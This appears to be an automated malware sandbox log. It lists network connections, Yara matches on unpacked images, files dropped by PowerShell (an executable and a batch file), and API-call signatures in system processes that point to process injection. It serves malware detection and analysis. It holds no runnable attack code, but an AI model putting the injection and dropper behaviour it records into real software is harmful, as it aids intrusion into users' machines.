Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53810
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52977
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53828
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 52805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52504
Source: unknown	Network traffic detected: HTTP traffic on port 51697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51411
Source: unknown	Network traffic detected: HTTP traffic on port 51723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51385
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 52718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53330
Source: unknown	Network traffic detected: HTTP traffic on port 53139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52009
Source: unknown	Network traffic detected: HTTP traffic on port 52375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52247
Source: unknown	Network traffic detected: HTTP traffic on port 52913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52010
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53349
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52267
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52269
Source: unknown	Network traffic detected: HTTP traffic on port 51645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53121
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53120
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52439
Source: unknown	Network traffic detected: HTTP traffic on port 54097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 53736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52676
Source: unknown	Network traffic detected: HTTP traffic on port 51621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51359
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52441
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52203
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51361
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49988 version: TLS 1.2

Source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_391f15e7-8

Source: regsvr32.exe, 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_5bce3ff8-f

Source: Yara match	File source: 12.3.OpenWith.exe.22bf7cc0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.regsvr32.exe.1c860000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.OpenWith.exe.22bf7fa0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.regsvr32.exe.1c580000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.OpenWith.exe.22bf7fa0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.regsvr32.exe.1c860000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.regsvr32.exe.1c580000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.OpenWith.exe.22bf7cc0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.1532489934.000000001C580000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1540794217.0000022BF7CC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1533339761.000000001C860000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 7908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OpenWith.exe PID: 8144, type: MEMORYSTR

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Desktop\utox_x86_x64.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\ajbs50ul.bat			Jump to dropped file

Source: C:\Users\user\Desktop\utox_x86_x64.exe

Process Stats: CPU usage > 49%

Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717757000 NtWriteFile,WaitForSingleObject,	4_2_00007FF717757000
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717756EE0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	4_2_00007FF717756EE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF851B4 NtQueryInformationProcess,	8_2_1BF851B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF856A8 NtQuerySystemInformation,NtQuerySystemInformation,lstrcmpiW,CloseHandle,free,	8_2_1BF856A8
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F30C7 calloc,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,RtlFreeHeap,RtlFreeHeap,	12_3_0000022BF71F30C7
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_3_00007DF431881958 calloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueryInformationProcess,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	14_3_00007DF431881958
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_3_00007DF431881CE8 CreateProcessW,NtResumeThread,CloseHandle,free,	14_3_00007DF431881CE8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D12C64 NtAcceptConnectPort,	14_2_0000023D20D12C64
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D12418 NtAcceptConnectPort,	14_2_0000023D20D12418
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1252C NtAcceptConnectPort,	14_2_0000023D20D1252C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1288C NtAcceptConnectPort,	14_2_0000023D20D1288C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D127B8 NtAcceptConnectPort,	14_2_0000023D20D127B8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D12990 NtAcceptConnectPort,	14_2_0000023D20D12990
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D128E8 NtAcceptConnectPort,	14_2_0000023D20D128E8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D128B8 NtAcceptConnectPort,	14_2_0000023D20D128B8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D129D4 NtAcceptConnectPort,	14_2_0000023D20D129D4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_00007DF431872704 NtQuerySystemInformation,malloc,NtQuerySystemInformation,	14_2_00007DF431872704
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_00007DF431881E64 CreateProcessW,NtResumeThread,CloseHandle,	14_2_00007DF431881E64
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_00007DF43188199C calloc,NtQueryInformationProcess,NtReadVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,	14_2_00007DF43188199C
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D8385C NtQuerySystemInformation,	15_2_000001E879D8385C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE32688 NtAcceptConnectPort,	18_2_000001AADAE32688
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3288C NtAcceptConnectPort,	18_2_000001AADAE3288C

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF717756190: memcpy,DeviceIoControl,CloseHandle,CloseHandle,GetLastError,

4_2_00007FF717756190

Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71775B630	4_2_00007FF71775B630
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177594D0	4_2_00007FF7177594D0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717702FE9	4_2_00007FF717702FE9
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717752E70	4_2_00007FF717752E70
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177718A0	4_2_00007FF7177718A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778F840	4_2_00007FF71778F840
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777D887	4_2_00007FF71777D887
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71770F7E0	4_2_00007FF71770F7E0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777B7FD	4_2_00007FF71777B7FD
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71772B800	4_2_00007FF71772B800
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177AB720	4_2_00007FF7177AB720
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71779F730	4_2_00007FF71779F730
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717799750	4_2_00007FF717799750
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717767770	4_2_00007FF717767770
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A1780	4_2_00007FF7177A1780
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778D6A8	4_2_00007FF71778D6A8
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71770565B	4_2_00007FF71770565B
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717711665	4_2_00007FF717711665
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777D671	4_2_00007FF71777D671
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177795B6	4_2_00007FF7177795B6
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177315E0	4_2_00007FF7177315E0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B15DD	4_2_00007FF7177B15DD
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778F5F0	4_2_00007FF71778F5F0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177475F0	4_2_00007FF7177475F0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71773D520	4_2_00007FF71773D520
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A7530	4_2_00007FF7177A7530
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177734B6	4_2_00007FF7177734B6
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778F440	4_2_00007FF71778F440
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B5410	4_2_00007FF7177B5410
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B7330	4_2_00007FF7177B7330
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A3350	4_2_00007FF7177A3350
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771B350	4_2_00007FF71771B350
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717723290	4_2_00007FF717723290
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771D1D0	4_2_00007FF71771D1D0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71772B200	4_2_00007FF71772B200
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71779D160	4_2_00007FF71779D160
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717757170	4_2_00007FF717757170
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B40C0	4_2_00007FF7177B40C0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71779A0E0	4_2_00007FF71779A0E0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717792030	4_2_00007FF717792030
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B7FA0	4_2_00007FF7177B7FA0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717733FB7	4_2_00007FF717733FB7
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778FFF0	4_2_00007FF71778FFF0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177ABF20	4_2_00007FF7177ABF20
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71770FF83	4_2_00007FF71770FF83
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778DEF0	4_2_00007FF71778DEF0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71774FF10	4_2_00007FF71774FF10
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717733DD0	4_2_00007FF717733DD0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177ABDE0	4_2_00007FF7177ABDE0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778FE00	4_2_00007FF71778FE00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717779E0B	4_2_00007FF717779E0B
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717735CC0	4_2_00007FF717735CC0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B5CE0	4_2_00007FF7177B5CE0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71774DD00	4_2_00007FF71774DD00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771DC80	4_2_00007FF71771DC80
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A9BC0	4_2_00007FF7177A9BC0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71779DBE0	4_2_00007FF71779DBE0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717719B30	4_2_00007FF717719B30
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717773B40	4_2_00007FF717773B40
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717763AA0	4_2_00007FF717763AA0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177B7AC0	4_2_00007FF7177B7AC0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A5B00	4_2_00007FF7177A5B00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717701A31	4_2_00007FF717701A31
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717731B00	4_2_00007FF717731B00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717761A40	4_2_00007FF717761A40
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71774DA50	4_2_00007FF71774DA50
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771BA80	4_2_00007FF71771BA80
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778B9B0	4_2_00007FF71778B9B0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717789920	4_2_00007FF717789920
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71776F960	4_2_00007FF71776F960
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717720820	4_2_00007FF717720820
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771C860	4_2_00007FF71771C860
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717740870	4_2_00007FF717740870
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177727A4	4_2_00007FF7177727A4
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177147CD	4_2_00007FF7177147CD
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71773A740	4_2_00007FF71773A740
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A4750	4_2_00007FF7177A4750
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A06A0	4_2_00007FF7177A06A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177126E2	4_2_00007FF7177126E2
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A6710	4_2_00007FF7177A6710
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717798520	4_2_00007FF717798520
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717734579	4_2_00007FF717734579
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771A4A0	4_2_00007FF71771A4A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71779E4C0	4_2_00007FF71779E4C0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771446C	4_2_00007FF71771446C
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177603A0	4_2_00007FF7177603A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778C356	4_2_00007FF71778C356
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778C358	4_2_00007FF71778C358
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177AA2A0	4_2_00007FF7177AA2A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177482A0	4_2_00007FF7177482A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777E23A	4_2_00007FF71777E23A
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71770E28F	4_2_00007FF71770E28F
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177941B0	4_2_00007FF7177941B0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177AC1F0	4_2_00007FF7177AC1F0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777C120	4_2_00007FF71777C120
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771C170	4_2_00007FF71771C170
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71772E180	4_2_00007FF71772E180
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778F0A0	4_2_00007FF71778F0A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71776D0A0	4_2_00007FF71776D0A0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771F030	4_2_00007FF71771F030
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71773F060	4_2_00007FF71773F060
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71778CFCB	4_2_00007FF71778CFCB
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71770EDB4	4_2_00007FF71770EDB4
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177AADE0	4_2_00007FF7177AADE0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717730D80	4_2_00007FF717730D80
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717778CAC	4_2_00007FF717778CAC
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A0CE0	4_2_00007FF7177A0CE0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A8CF0	4_2_00007FF7177A8CF0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71776ED00	4_2_00007FF71776ED00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71771AC30	4_2_00007FF71771AC30
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177AEC60	4_2_00007FF7177AEC60
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A4BF0	4_2_00007FF7177A4BF0
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717748C00	4_2_00007FF717748C00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717742B80	4_2_00007FF717742B80
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717744AC0	4_2_00007FF717744AC0
